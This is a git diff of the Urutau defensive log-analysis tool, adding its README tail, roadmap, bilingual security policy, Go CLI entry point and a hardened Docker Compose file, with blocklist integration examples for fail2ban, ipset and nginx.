`linux/amd64` e `linux/arm64`. Veja [docs/pt-BR/docker.md](docs/pt-BR/docker.md) para um deploy no Coolify. + +## Primeiros passos + +```bash +# Confira as fontes e o diretório de dados +urutau doctor + +# Rode o daemon e o dashboard +urutau serve --bind 127.0.0.1:8790 + +# Agregue outras instâncias +urutau serve --peer web1=https://urutau.web1.example --peer-token "$URUTAU_PEER_TOKEN" +``` + +Veja [docs/pt-BR/cli.md](docs/pt-BR/cli.md) para a referência de comandos e [docs/pt-BR/configuracao.md](docs/pt-BR/configuracao.md) para cada variável `URUTAU_*`. + +## Ruído e monitoramento + +Sua própria infraestrutura também gera eventos. Dois filtros a tiram do quadro: + +- `--trusted` / `URUTAU_TRUSTED`: CIDRs de origens confiáveis (seu escritório, seus monitores, seus outros servidores). Os eventos delas são descartados por completo. `--ignore` continua como alias. +- `--monitor-ua` / `URUTAU_MONITOR_UA`: expressão regular de User-Agents de monitoramento (o padrão inclui Uptime-Kuma). Uma requisição que casa e é benigna não conta como tráfego; ela alimenta um contador "monitoring" à parte. Se a mesma requisição for `scanner`, `exploit` ou `bruteforce`, conta como ataque, porque um User-Agent é trivial de forjar. +- `--monitor-from` / `URUTAU_MONITOR_FROM`: CIDRs de onde os monitores realmente vêm. Quando definido, o User-Agent de monitoramento só vale vindo dessas redes. Sem ele, só respostas `ok` são filtradas (um `notfound` com User-Agent de monitor ainda conta), já que qualquer um pode forjar o cabeçalho. +- `--domains` / `URUTAU_DOMAINS`: uma lista de domínios permitidos para a aba Tráfego (nomes exatos ou `*.exemplo.com`). Um domínio só ganha vaga depois de uma resposta 2xx, e domínios inativos são podados, então `Host` aleatórios não enchem o analytics. + +## Geolocalização e atribuição + +O Urutau mostra país, cidade e ASN de cada IP usando as bases gratuitas **DB-IP Lite**. Ele as baixa sozinho em `--geo-dir` e as mantém atualizadas (`--geo-update`); as consultas são locais, então nenhum IP é enviado a terceiros. + +> Dados de geolocalização de IP por [DB-IP](https://db-ip.com), licenciados sob [CC BY 4.0](https://creativecommons.org/licenses/by/4.0/). + +A atribuição também aparece no dashboard. Se você redistribuir as bases ou algo derivado delas, mantenha-a. + +## Privacidade + +A aba **Tráfego** conta visitantes legítimos sem rastreá-los. Um visitante único é um hash calculado com um sal que muda todo dia, então não acompanha uma pessoa de um dia para o outro, e o endereço IP de um visitante legítimo nunca é persistido: nem no snapshot, nem em log, nem em exportação. Endereços IP são guardados apenas para atividade classificada como hostil, que é o que uma ferramenta de segurança existe para registrar. Sem cookies, fingerprinting nem requisições a terceiros, o desenho dispensa banner de consentimento, mas a licitude do seu uso perante a LGPD ou o GDPR continua sendo decisão sua, como controlador. Veja [SECURITY.pt-BR.md](SECURITY.pt-BR.md). + +## Usando a blocklist + +A blocklist exige o token de acesso como bearer token. Por padrão lista os IPs com pontuação 50 ou mais nos últimos 7 dias. + +```bash +curl -fsS -H "Authorization: Bearer $URUTAU_TOKEN" \ + "https://urutau.example/api/v1/blocklist.txt?min_score=50&range=7d" +``` + +**fail2ban** (bane cada IP listado, atualizado de hora em hora pelo cron): + +```bash +curl -fsS -H "Authorization: Bearer $URUTAU_TOKEN" https://urutau.example/api/v1/blocklist.txt \ + | while read -r ip; do fail2ban-client set sshd banip "$ip" >/dev/null; done +``` + +**ipset** (carregado de forma atômica por um set temporário; `family=4` porque `hash:ip` não guarda prefixos IPv6, use um set `hash:net family inet6` para `family=6`): + +```bash +ipset create urutau-new hash:ip -exist +ipset flush urutau-new +curl -fsS -H "Authorization: Bearer $URUTAU_TOKEN" https://urutau.example/api/v1/blocklist.txt?family=4 \ + | while read -r ip; do ipset add urutau-new "$ip" -exist; done +ipset create urutau hash:ip -exist +ipset swap urutau-new urutau +iptables -C INPUT -m set --match-set urutau src -j DROP 2>/dev/null \ + || iptables -I INPUT -m set --match-set urutau src -j DROP +``` + +**nginx** (uma lista de `deny`, depois `nginx -s reload`): + +```bash +curl -fsS -H "Authorization: Bearer $URUTAU_TOKEN" https://urutau.example/api/v1/blocklist.txt \ + | sed 's/^/deny /; s/$/;/' > /etc/nginx/conf.d/urutau-deny.conf +nginx -t && nginx -s reload +``` + +A lista só traz endereços globalmente roteáveis, nunca algo em `--ignore` ou `--trusted`, e um atacante IPv6 aparece como o prefixo /64 (`2001:db8:1:2::/64`), que `ipset hash:net`, o `deny` do nginx e o fail2ban aceitam. Revise a lista antes de automatizar: pontuação é heurística, e um IP atrás de NAT compartilhado pode ser inocente. + +## Segurança + +O Urutau lida com texto hostil por definição. Todo campo que ele lê de um log (caminhos, User-Agents, nomes de usuário, hosts) foi escrito por um atacante: é limitado em tamanho, nunca executado e sempre escapado antes de chegar à página. O dashboard e a API exigem token (`URUTAU_TOKEN`, no mínimo 32 caracteres, por exemplo `openssl rand -base64 48`), o cookie de sessão é `HttpOnly` e `SameSite=Strict`, logins errados têm limite de tentativas por IP, e o token de peer só abre `GET /api/v1/peer/export`. Coloque-o atrás de um proxy reverso com TLS antes de expor. Veja [SECURITY.pt-BR.md](SECURITY.pt-BR.md). + +## Uso autorizado + +O Urutau é software defensivo. Ele só lê logs de servidores que você possui ou administra e nunca envia tráfego aos IPs que lista. Use a blocklist com responsabilidade, em infraestrutura que você tem autorização para proteger. + +## Desenvolvimento + +```bash +go test -race ./... +go vet ./... +scripts/check.sh +``` + +Veja **[CONTRIBUTING.pt-BR.md](CONTRIBUTING.pt-BR.md)** e **[docs/pt-BR/arquitetura.md](docs/pt-BR/arquitetura.md)**. + +## Limites conhecidos + +- Só três fontes: access log JSON do Traefik, linhas do sshd no `auth.log` (timestamps ISO) e `fail2ban.log`. +- O estado é mantido por no máximo 7 dias (`--retention`), com até 20.000 IPs rastreados. +- O login do dashboard é um token único compartilhado; não há contas de usuário. +- Pontuações são heurísticas, não prova de intenção maliciosa. + +## Para onde vai + +Resumo do [ROADMAP](ROADMAP.pt-BR.md): + +| | | +|---|---| +| **Feito (1.0.0)** | Coleta de logs, classificação e pontuação, geolocalização offline, parse de User-Agent, web analytics amigável à privacidade, snapshot em disco, dashboard com SSE, login por token, blocklist, federação, imagem Docker e CI/CD | +| **Próximo** | Mais fontes de log, alertas por webhook, métricas Prometheus | +| **Depois** | Enriquecimento com reputação de IP, retenção maior | +| **Fora do plano** | Varredura ativa ou contra-ataque, serviços de nuvem obrigatórios, telemetria | + +## Licença + +[MIT](LICENSE-MIT) ou [Apache-2.0](LICENSE-APACHE), à sua escolha. diff --git a/ROADMAP.md b/ROADMAP.md new file mode 100644 index 0000000..faa69f7 --- /dev/null +++ b/ROADMAP.md @@ -0,0 +1,37 @@ +# Roadmap + +**English** · [Português](ROADMAP.pt-BR.md) + +Urutau is lightweight, always-on threat intelligence for self-hosted servers: it reads the logs your server already writes, classifies hostile activity, scores IPs and exports a blocklist. Always read-only toward the network, with no telemetry. + +## Done + +- **Log collection (1.0.0):** Traefik JSON access log, sshd lines from `auth.log` and `fail2ban.log`, followed through rotation, with a backfill of rotated files. +- **Classification and scoring (1.0.0):** nine categories, weighted IP scores, hostile at 50 and suspicious at 10. +- **Persistence (1.0.0):** a 7-day rolling state saved to a snapshot with the file offsets, so a restart never replays a log. +- **Dashboard and API (1.0.0):** embedded bilingual UI with live updates over SSE, token login, JSON API, IP detail. +- **Blocklist (1.0.0):** text and JSON export with a score threshold. +- **Federation (1.0.0):** a hub aggregates peers through `/api/v1/peer/export` with a separate peer token that opens nothing else. +- **Geolocation and web analytics (1.0.0):** offline DB-IP Lite geolocation, User-Agent parsing and privacy-friendly traffic analytics. +- **Noise filters (1.0.0):** trusted CIDRs and monitoring User-Agents. +- **Container and CI/CD (1.0.0):** multi-arch image, Coolify deployment, Gitea CI with an image-reuse release workflow, weekly audit. +- **Bilingual documentation (1.0.0).** + +## Next + +- **More log sources:** other web servers and proxies (nginx, Caddy), and more daemons' auth failures. +- **Webhook alerts:** notify when an IP crosses the hostile threshold. +- **Prometheus metrics:** `/metrics` with counters per category and per source. + +## Later + +- **IP reputation enrichment:** optional lookups, off by default, to respect the local-first rule. +- **Longer retention:** an optional on-disk history beyond 7 days. +- **Per-user tokens:** more than one access token with separate revocation. + +## Non-Goals + +- Active scanning, counterattack or any traffic sent to the listed IPs. +- Mandatory cloud services, analytics telemetry or hosted accounts. +- Packet capture or an agent on the network path. +- A general SIEM: Urutau stays small and focused on the edge of one server. diff --git a/ROADMAP.pt-BR.md b/ROADMAP.pt-BR.md new file mode 100644 index 0000000..f26a66c --- /dev/null +++ b/ROADMAP.pt-BR.md @@ -0,0 +1,37 @@ +# Roadmap + +[English](ROADMAP.md) · **Português** + +O Urutau é threat intelligence leve e sempre ligado para servidores self-hosted: lê os logs que o servidor já escreve, classifica atividade hostil, pontua IPs e exporta uma blocklist. Sempre somente leitura em relação à rede, sem telemetria. + +## Feito + +- **Coleta de logs (1.0.0):** access log JSON do Traefik, linhas do sshd no `auth.log` e `fail2ban.log`, acompanhados através de rotação, com leitura dos arquivos rotacionados. +- **Classificação e pontuação (1.0.0):** nove categorias, pontuação de IP ponderada, hostil em 50 e suspeito em 10. +- **Persistência (1.0.0):** estado móvel de 7 dias salvo em snapshot junto com as posições dos arquivos, para que um reinício nunca reprocesse um log. +- **Dashboard e API (1.0.0):** UI bilíngue embutida com atualização ao vivo por SSE, login por token, API JSON, detalhe do IP. +- **Blocklist (1.0.0):** exportação em texto e JSON com limiar de pontuação. +- **Federação (1.0.0):** um hub agrega peers por `/api/v1/peer/export` com um token de peer separado que não abre mais nada. +- **Geolocalização e web analytics (1.0.0):** geolocalização offline DB-IP Lite, interpretação de User-Agent e analytics de tráfego amigável à privacidade. +- **Filtros de ruído (1.0.0):** CIDRs confiáveis e User-Agents de monitoramento. +- **Container e CI/CD (1.0.0):** imagem multi-arquitetura, deploy no Coolify, CI no Gitea com release que reaproveita imagem, auditoria semanal. +- **Documentação bilíngue (1.0.0).** + +## Próximo + +- **Mais fontes de log:** outros servidores web e proxies (nginx, Caddy) e falhas de autenticação de mais daemons. +- **Alertas por webhook:** avisar quando um IP cruza o limiar hostil. +- **Métricas Prometheus:** `/metrics` com contadores por categoria e por fonte. + +## Depois + +- **Enriquecimento com reputação de IP:** consultas opcionais, desligadas por padrão, para respeitar o local-first. +- **Retenção maior:** histórico opcional em disco além de 7 dias. +- **Tokens por usuário:** mais de um token de acesso, com revogação separada. + +## Fora do plano + +- Varredura ativa, contra-ataque ou qualquer tráfego enviado aos IPs listados. +- Serviços de nuvem obrigatórios, telemetria de análise ou contas hospedadas. +- Captura de pacotes ou agente no caminho da rede. +- Ser um SIEM genérico: o Urutau continua pequeno e focado na borda de um servidor. diff --git a/SECURITY.md b/SECURITY.md new file mode 100644 index 0000000..30f51c8 --- /dev/null +++ b/SECURITY.md @@ -0,0 +1,40 @@ +# Security policy + +**English** · [Português](SECURITY.pt-BR.md) + +Urutau is defensive software, but its whole input is hostile: every line of the Traefik access log, `auth.log` and `fail2ban.log` can carry text an attacker chose on purpose (request paths, User-Agents, user names, host names). Treat every log field as untrusted. + +## Reporting a vulnerability + +Do not open a public issue with exploit details. Open a minimal issue asking for a private channel, or contact the maintainer through the Gitea profile listed on the repository. Include the affected version, the input shape (a sample log line) and a minimal reproduction when a private channel is available. + +## Scope and threat model + +- **Hostile log fields:** paths, User-Agents, user names, hosts and jails are length-limited when parsed, kept as data, and escaped when rendered. A malformed, oversized or crafted line must be counted as malformed, never crash the daemon, exhaust memory or inject markup, a command or a script into the dashboard. The dashboard ships a Content-Security-Policy that forbids inline script and style. +- **Authentication:** the dashboard and every API route except `/api/health` need `URUTAU_TOKEN` (at least 32 characters and about 128 bits of estimated entropy, compared in constant time; it can come from `URUTAU_TOKEN_FILE`), either as a bearer token or through a login that sets a session cookie (`HttpOnly`, `SameSite=Strict`, `Secure` over HTTPS) valid for 12 hours. The session is revocable: it is a random id kept in memory, logout revokes it and closes its live stream, and a restart invalidates all sessions. Login and logout reject cross-site requests. After 5 failures per 10 minutes from a client (IPv6 counted per /64) the login answers 429, yet the correct token still gets in after a 1 second delay, so an attacker cannot lock the owner out; wrong bearer tokens count as failures too. The client IP comes from the TCP peer; `X-Forwarded-For` is honored only when the peer is in `--trusted-proxy` (default: the private networks), read from right to left, so it cannot be spoofed from outside. Generate tokens with `openssl rand -base64 48` (`-hex 32` also works). +- **Peer token:** The server token (`URUTAU_PEER_TOKEN`, also as `_FILE`; 32+ characters, about 128 bits of estimated entropy, not periodic or sequential, different from `URUTAU_TOKEN`) is the only credential the local export accepts, and it only opens `GET /api/v1/peer/export`; every other route answers 403 to it, and `URUTAU_TOKEN` is refused (401) on the export. Without a peer token the export is a 404. `--peer-allow` restricts the export to source CIDRs. `URUTAU_PEER_TOKEN_` values are client credentials a hub sends to that peer; they never open the local export, and peer names that collide in the variable name are refused. A hub refuses to start with a peer that has no token, only talks to the export, requires `https` outside loopback, does not follow redirects, uses a 4 s timeout and an 8 MB limit, and sanitizes and caps everything a peer sends: an `admin` flag coming from a peer is ignored and a peer's `Strong` flag only counts with a score of 50 or more. Treat a peer as able to read the top 500 IPs, paths and traffic figures its export carries. +- **HTTP server limits:** header and body timeouts, `MaxHeaderBytes` of 16 KB, `POST /login` capped at 4 KB, and at most 20 simultaneous live-stream clients (a 21st gets 503 with `Retry-After`; the stream sends a heartbeat every 20 s). +- **Information exposure:** `/api/health` returns only `{"status":"ok"}` (no version), log file paths are never shown in the dashboard or to peers, responses carry `Referrer-Policy: same-origin` and a strict Content-Security-Policy. +- **Framed requests:** with the `Sec-Fetch-Site`, `Sec-Fetch-Dest` and `Referer` headers in the Traefik log, a request embedded by another page (cross-site or same-site, or a sub-resource destination such as image or script) creates an IP record like any other but weighs 0.25 per event, with at most 30 points per IP from such requests (below the hostile threshold), and never counts as a strong signal. With an attack-tool User-Agent the headers are ignored. The headers come from the client, so a framed visitor never becomes hostile, and a scanner that forges them shows up as suspicious instead of vanishing. +- **Admin immunity:** an IP with a successful SSH login (of a user in `--admin-users`; the immunity is off unless that list is set) is kept out of the hostile level and the blocklist for 24 hours after its last login, and a strong signal after that login cancels it. A login in the same second as a strong attack gives no immunity. +- **Analytics and blocklist hygiene:** a domain gets an analytics slot only after a 2xx answer (optionally restricted by `--domains`) and inactive domains are pruned, so forged `Host` headers cannot fill memory. The blocklist only contains hostile, globally routable addresses, never `--ignore` or `--trusted` ranges or an IP with a successful SSH login; IPv6 is aggregated by /64 (up to 20,000 tracked entries), so one attacker cannot flood the table. A monitoring User-Agent never excuses an attack request, and with `--monitor-from` it only counts from your monitor networks. +- **No unauthenticated mode on the network:** `--insecure-no-auth` is refused unless the bind address is loopback. Exposing the port on a public interface still needs a reverse proxy with TLS. +- **Container hardening:** the image runs as an unprivileged user (no `curl` or shell tools needed: its `HEALTHCHECK` is `urutau healthcheck`) with a read-only root filesystem and no capabilities. Logs are mounted read-only, and only the Traefik log directory is mounted from the proxy, never `acme.json` or its configuration. Logs come from a dedicated host directory, `/var/log/urutau`, not the whole `/var/log`. `--trusted-proxy` defaults to loopback only; the compose file creates the `urutau-edge` network (`10.250.0.0/24`) and trusts just that, so keep only the reverse proxy on it, since another container there could forge `X-Forwarded-For`. The only write target is the data volume (snapshot, mode `0700` directory). +- **Read-only by design:** Urutau reads logs and never sends traffic to the IPs it lists. The only outbound connections are reverse DNS lookups, the periodic download of the DB-IP Lite databases from `download.db-ip.com` (verified by opening the file before it replaces the old one; a failure never stops the service) and, on a hub, the polls to the configured peers. Geolocation lookups are local. +- **Privacy and local-first:** there is no telemetry. IPs and request details stay on your servers (and on the hub you configure). +- **Visitor privacy (LGPD and GDPR):** the Traffic tab counts unique visitors with a hash computed with a daily salt, so a visitor cannot be followed across days, and the IP address of a legitimate visitor is never persisted. There are no cookies for visitors, no fingerprinting and no request to third parties. IPs are retained only for hostile activity, for at most the retention period (7 days). Whether this is enough for your legal basis and notices is your responsibility as the controller. +- **Third-party data:** the geolocation databases are DB-IP Lite, CC BY 4.0, and the attribution must be kept where the data is shown. + +## Known limitation + +A local user of the host can forge sshd lines with `logger -t sshd`, which rsyslog copies into `/var/log/urutau/auth.log`. This could, for example, fake a successful login to earn admin immunity. It is mitigated by the strong-signal requirement for the hostile level and by the 24 hour window of the immunity, but anyone with a shell on the host is already inside the trust boundary. + +## Out of scope + +- Vulnerabilities in the Go toolchain or third-party packages already fixed upstream (`govulncheck` runs in CI and weekly). +- Attacks that require the operator to disable documented controls (publishing the port without TLS and sharing the token, mounting logs writable, `--insecure-no-auth` behind a proxy that does not authenticate). +- Detection completeness: a score is a heuristic. A clean score is not proof that an IP is harmless, and a high score is not proof of intent. + +## Supported versions + +Only the latest `1.x` release is supported. There is no long-term support branch. diff --git a/SECURITY.pt-BR.md b/SECURITY.pt-BR.md new file mode 100644 index 0000000..86da597 --- /dev/null +++ b/SECURITY.pt-BR.md @@ -0,0 +1,40 @@ +# Política de segurança + +[English](SECURITY.md) · **Português** + +O Urutau é software defensivo, mas toda a sua entrada é hostil: cada linha do access log do Traefik, do `auth.log` e do `fail2ban.log` pode carregar texto escolhido de propósito por um atacante (caminhos de requisição, User-Agents, nomes de usuário, nomes de host). Trate todo campo de log como não confiável. + +## Reportando uma vulnerabilidade + +Não abra uma issue pública com detalhes de exploração. Abra uma issue mínima pedindo um canal privado, ou contate o mantenedor pelo perfil do Gitea listado no repositório. Inclua a versão afetada, o formato da entrada (uma linha de log de exemplo) e uma reprodução mínima quando houver um canal privado. + +## Escopo e modelo de ameaça + +- **Campos hostis de log:** caminhos, User-Agents, usuários, hosts e jails têm tamanho limitado no parse, são mantidos como dado e escapados ao renderizar. Uma linha malformada, gigante ou forjada deve ser contada como malformada, nunca derrubar o daemon, esgotar memória ou injetar marcação, comando ou script no dashboard. O dashboard envia uma Content-Security-Policy que proíbe script e estilo inline. +- **Autenticação:** o dashboard e toda rota da API, exceto `/api/health`, exigem `URUTAU_TOKEN` (no mínimo 32 caracteres e cerca de 128 bits de entropia estimada, comparado em tempo constante; pode vir de `URUTAU_TOKEN_FILE`), como bearer token ou por um login que define um cookie de sessão (`HttpOnly`, `SameSite=Strict`, `Secure` em HTTPS) válido por 12 horas. A sessão é revogável: é um id aleatório guardado em memória, o logout a revoga e fecha o stream ao vivo dela, e um reinício invalida todas as sessões. Login e logout rejeitam requisições cross-site. Após 5 falhas a cada 10 minutos de um cliente (IPv6 contado por /64) o login responde 429, mas o token correto ainda entra após 1 segundo de atraso, para que um atacante não tranque o dono do lado de fora; bearer tokens errados também contam como falha. O IP do cliente vem do peer TCP; `X-Forwarded-For` só vale quando o peer está em `--trusted-proxy` (padrão: as redes privadas), lido da direita para a esquerda, então não pode ser forjado de fora. Gere tokens com `openssl rand -base64 48` (`-hex 32` também serve). +- **Token de peer:** O token de servidor (`URUTAU_PEER_TOKEN`, também via `_FILE`; 32+ caracteres, cerca de 128 bits de entropia estimada, sem padrão periódico nem sequencial, diferente de `URUTAU_TOKEN`) é a única credencial que o export local aceita, e só abre `GET /api/v1/peer/export`; todas as outras rotas respondem 403 a ele, e o `URUTAU_TOKEN` é recusado (401) no export. Sem token de peer o export é 404. `--peer-allow` restringe o export a CIDRs de origem. Os valores `URUTAU_PEER_TOKEN_` são credenciais de cliente que um hub envia àquele peer; nunca abrem o export local, e nomes de peer que colidem no nome da variável são recusados. Um hub se recusa a iniciar com um peer sem token, só fala com o export, exige `https` fora de loopback, não segue redirects, usa timeout de 4 s e limite de 8 MB, e sanitiza e limita tudo o que um peer envia: um sinalizador `admin` vindo de um peer é ignorado e o `Strong` de um peer só vale com pontuação 50 ou mais. Trate um peer como alguém que pode ler os 500 IPs principais, caminhos e números de tráfego que o export carrega. +- **Limites do servidor HTTP:** timeouts de cabeçalho e corpo, `MaxHeaderBytes` de 16 KB, `POST /login` limitado a 4 KB e no máximo 20 clientes simultâneos no stream ao vivo (o 21º recebe 503 com `Retry-After`; o stream envia heartbeat a cada 20 s). +- **Exposição de informação:** `/api/health` devolve só `{"status":"ok"}` (sem versão), os caminhos dos arquivos de log nunca aparecem no dashboard nem para peers, e as respostas levam `Referrer-Policy: same-origin` e uma Content-Security-Policy estrita. +- **Requisições enquadradas:** com os cabeçalhos `Sec-Fetch-Site`, `Sec-Fetch-Dest` e `Referer` no log do Traefik, uma requisição embutida por outra página (cross-site ou same-site, ou destino de subrecurso como image ou script) aparece na linha do tempo e cria registro de IP como qualquer outra, mas pesa 0,25 por evento, com no máximo 30 pontos por IP vindos delas (abaixo do limiar hostil), e nunca conta como sinal forte. Com User-Agent de ferramenta de ataque os cabeçalhos são ignorados. Os cabeçalhos vêm do cliente, então um visitante enquadrado nunca vira hostil, e um scanner que os forja aparece como suspeito em vez de sumir. +- **Imunidade de admin:** um IP com login SSH bem-sucedido (de um usuário em `--admin-users`; a imunidade fica desligada a menos que essa lista seja definida) fica fora do nível hostil e da blocklist por 24 horas após o último login, e um sinal forte depois desse login a anula. Um login no mesmo segundo de um ataque forte não dá imunidade. +- **Higiene do analytics e da blocklist:** um domínio só ganha vaga no analytics após uma resposta 2xx (opcionalmente restrito por `--domains`) e domínios inativos são podados, então `Host` forjados não enchem a memória. A blocklist só contém endereços hostis e globalmente roteáveis, nunca faixas de `--ignore` ou `--trusted` nem um IP com login SSH bem-sucedido; o IPv6 é agregado por /64 (até 20.000 entradas rastreadas), então um atacante não inunda a tabela. Um User-Agent de monitoramento nunca desculpa uma requisição de ataque, e com `--monitor-from` só vale vindo das suas redes de monitoramento. +- **Sem modo aberto na rede:** `--insecure-no-auth` é recusado a menos que o bind seja loopback. Expor a porta em uma interface pública ainda exige um proxy reverso com TLS. +- **Endurecimento do container:** a imagem roda com usuário sem privilégios (sem `curl` nem ferramentas de shell: o `HEALTHCHECK` é `urutau healthcheck`), sistema de arquivos raiz somente leitura e sem capabilities. Os logs são montados somente leitura, e do proxy só o diretório de logs do Traefik é montado, nunca o `acme.json` nem a configuração. Os logs vêm de um diretório dedicado do host, `/var/log/urutau`, não do `/var/log` inteiro. `--trusted-proxy` tem como padrão só o loopback; o compose cria a rede `urutau-edge` (`10.250.0.0/24`) e confia só nela, então deixe nela apenas o proxy reverso, pois outro container ali poderia forjar o `X-Forwarded-For`. O único destino de escrita é o volume de dados (snapshot, diretório com modo `0700`). +- **Somente leitura por desenho:** o Urutau lê logs e nunca envia tráfego aos IPs que lista. As únicas conexões de saída são as consultas de DNS reverso, o download periódico das bases DB-IP Lite em `download.db-ip.com` (verificado abrindo o arquivo antes de substituir o antigo; uma falha nunca interrompe o serviço) e, em um hub, as consultas aos peers configurados. As consultas de geolocalização são locais. +- **Privacidade e local-first:** não há telemetria. IPs e detalhes de requisições ficam nos seus servidores (e no hub que você configurar). +- **Privacidade dos visitantes (LGPD e GDPR):** a aba Tráfego conta visitantes únicos com um hash calculado com sal diário, então um visitante não pode ser seguido entre dias, e o endereço IP de um visitante legítimo nunca é persistido. Não há cookies para visitantes, fingerprinting nem requisição a terceiros. IPs são retidos apenas para atividade hostil, por no máximo o período de retenção (7 dias). Se isso basta para a sua base legal e seus avisos é responsabilidade sua, como controlador. +- **Dados de terceiros:** as bases de geolocalização são DB-IP Lite, CC BY 4.0, e a atribuição deve ser mantida onde os dados são exibidos. + +## Limitação conhecida + +Um usuário local do host pode forjar linhas do sshd com `logger -t sshd`, que o rsyslog copia para `/var/log/urutau/auth.log`. Isso poderia, por exemplo, fingir um login bem-sucedido para ganhar imunidade de admin. É mitigado pela exigência de sinal forte para o nível hostil e pela janela de 24 horas da imunidade, mas quem tem shell no host já está dentro do limite de confiança. + +## Fora do escopo + +- Vulnerabilidades na toolchain do Go ou em pacotes de terceiros já corrigidas upstream (o `govulncheck` roda no CI e toda semana). +- Ataques que exigem que o operador desative controles documentados (publicar a porta sem TLS e compartilhar o token, montar logs com escrita, `--insecure-no-auth` atrás de um proxy que não autentica). +- Completude da detecção: pontuação é heurística. Uma pontuação baixa não prova que um IP é inofensivo, e uma alta não prova intenção. + +## Versões suportadas + +Só a última versão `1.x` é suportada. Não há branch de suporte de longo prazo. diff --git a/cmd/urutau/main.go b/cmd/urutau/main.go new file mode 100644 index 0000000..82da619 --- /dev/null +++ b/cmd/urutau/main.go @@ -0,0 +1,78 @@ +// Command urutau is a lightweight, always-on threat intelligence panel. +package main + +import ( + "errors" + "flag" + "fmt" + "os" + + "git.lucasrguerra.dev.br/ciberfauna/urutau/internal/app" +) + +const usage = `urutau: lightweight threat intelligence for self-hosted servers + +Usage: + urutau serve [flags] run the daemon and the dashboard + urutau doctor [--json] [flags] check sources and the data directory + urutau healthcheck exit 0 when the local daemon answers /api/health + urutau version print the version + +Run "urutau serve -h" for the flags. The access token comes from URUTAU_TOKEN. +` + +func main() { + if len(os.Args) < 2 { + fmt.Fprint(os.Stderr, usage) + os.Exit(2) + } + switch os.Args[1] { + case "version", "--version", "-v": + fmt.Println("urutau", app.Version) + case "serve": + c, err := app.ParseFlags("serve", os.Args[2:]) + if errors.Is(err, flag.ErrHelp) { + return + } + if err != nil { + os.Exit(2) + } + if err := app.Serve(c); err != nil { + fmt.Fprintln(os.Stderr, "urutau:", err) + os.Exit(1) + } + case "doctor": + args, asJSON := []string{}, false + for _, a := range os.Args[2:] { + if a == "--json" || a == "-json" { + asJSON = true + } else { + args = append(args, a) + } + } + c, err := app.ParseFlags("doctor", args) + if errors.Is(err, flag.ErrHelp) { + return + } + if err != nil { + os.Exit(2) + } + if !app.Doctor(c, os.Stdout, asJSON) { + os.Exit(1) + } + case "healthcheck": + c, err := app.ParseFlags("healthcheck", os.Args[2:]) + if err != nil { + os.Exit(2) + } + if err := app.Healthcheck(c); err != nil { + fmt.Fprintln(os.Stderr, "urutau:", err) + os.Exit(1) + } + case "help", "--help", "-h": + fmt.Print(usage) + default: + fmt.Fprint(os.Stderr, usage) + os.Exit(2) + } +} diff --git a/docker-compose.yml b/docker-compose.yml new file mode 100644 index 0000000..fe0df4e --- /dev/null +++ b/docker-compose.yml @@ -0,0 +1,77 @@ +# Urutau: reads the Traefik access log, sshd auth log and fail2ban log of the +# host (read-only), classifies what it sees and serves the dashboard. +# +# cp .env.example .env # set URUTAU_TOKEN (openssl rand -base64 48) +# docker compose pull && docker compose up -d # operators: published image +# docker compose up -d --build # developers: local build +name: urutau + +services: + urutau: + image: ${URUTAU_IMAGE:-git.lucasrguerra.dev.br/ciberfauna/urutau}:${URUTAU_VERSION:-latest} + build: . + environment: + # Required: the service refuses to start without it (32+ characters and + # 128+ bits of entropy). Alternatively mount a file and set URUTAU_TOKEN_FILE. + URUTAU_TOKEN: ${URUTAU_TOKEN:-} + URUTAU_AUTH_LOG: /logs/host/auth.log + URUTAU_FAIL2BAN_LOG: /logs/host/fail2ban.log + URUTAU_NAME: ${URUTAU_NAME:-urutau} + # Your own servers: their events are dropped entirely (comma separated CIDRs/IPs). + URUTAU_TRUSTED: ${URUTAU_TRUSTED:-} + # Federation: other instances this one aggregates, e.g. hostinger=https://urutau.example.org + URUTAU_PEERS: ${URUTAU_PEERS:-} + # Shared secret for federation (32+ characters, different from URUTAU_TOKEN); + # it only opens /api/v1/peer/export. Empty disables the export. + URUTAU_PEER_TOKEN: ${URUTAU_PEER_TOKEN:-} + # Only these source networks may call the export (empty: any with the token). + URUTAU_PEER_ALLOW: ${URUTAU_PEER_ALLOW:-} + # Reverse proxies whose X-Forwarded-For is trusted. Only the dedicated + # urutau-edge network below, which holds nothing but this service and the + # reverse proxy: any other container there could forge client IPs. + URUTAU_TRUSTED_PROXY: ${URUTAU_TRUSTED_PROXY:-10.250.0.0/24} + # Optional: analytics domain allowlist (exact names or *.example.com) and the + # networks the monitoring User-Agents come from. + URUTAU_DOMAINS: ${URUTAU_DOMAINS:-} + URUTAU_MONITOR_FROM: ${URUTAU_MONITOR_FROM:-} + # SSH users whose successful logins keep their IP out of the blocklist (24 h). + URUTAU_ADMIN_USERS: ${URUTAU_ADMIN_USERS:-} + # Geo database refresh interval (0 disables the download). + URUTAU_GEO_UPDATE: ${URUTAU_GEO_UPDATE:-24h} + # Match the host time zone: fail2ban.log timestamps are local time. + TZ: ${TZ:-UTC} + ports: + - "${URUTAU_PUBLISH:-127.0.0.1:8790}:8790" + volumes: + # Only a dedicated Traefik log directory, never the whole proxy directory + # (it holds acme.json and the dynamic configuration). Point Traefik's + # accesslog.filepath at /traefik/logs/access.log, which Coolify keeps in + # /data/coolify/proxy/logs on the host. + - /data/coolify/proxy/logs:/logs/traefik:ro + # A dedicated host directory holding only the sshd and fail2ban logs + # (rsyslog copies sshd there; fail2ban's logtarget points there). A + # directory, not single files: logrotate recreates them by rename, and a + # file bind mount would keep following the old inode. See docs/docker.md. + - /var/log/urutau:/logs/host:ro + - urutau-data:/data + group_add: ["4"] # adm: can read the logs in /var/log/urutau + networks: [urutau-edge] + read_only: true + cap_drop: [ALL] + security_opt: + - no-new-privileges:true + mem_limit: 256m + cpus: 0.5 + restart: unless-stopped + +volumes: + urutau-data: + +# Shared only with the reverse proxy (attach it: docker network connect +# urutau-edge ). The fixed subnet is what URUTAU_TRUSTED_PROXY trusts. +networks: + urutau-edge: + name: urutau-edge + ipam: + config: + - subnet: 10.250.0.0/24 diff --git a/docs/architecture.md b/docs/architecture.md new file mode 100644 index 0000000..4f8e49f --- /dev/null +++ b/docs/architecture.md @@ -0,0 +1,102 @@ +

◂ Back to README

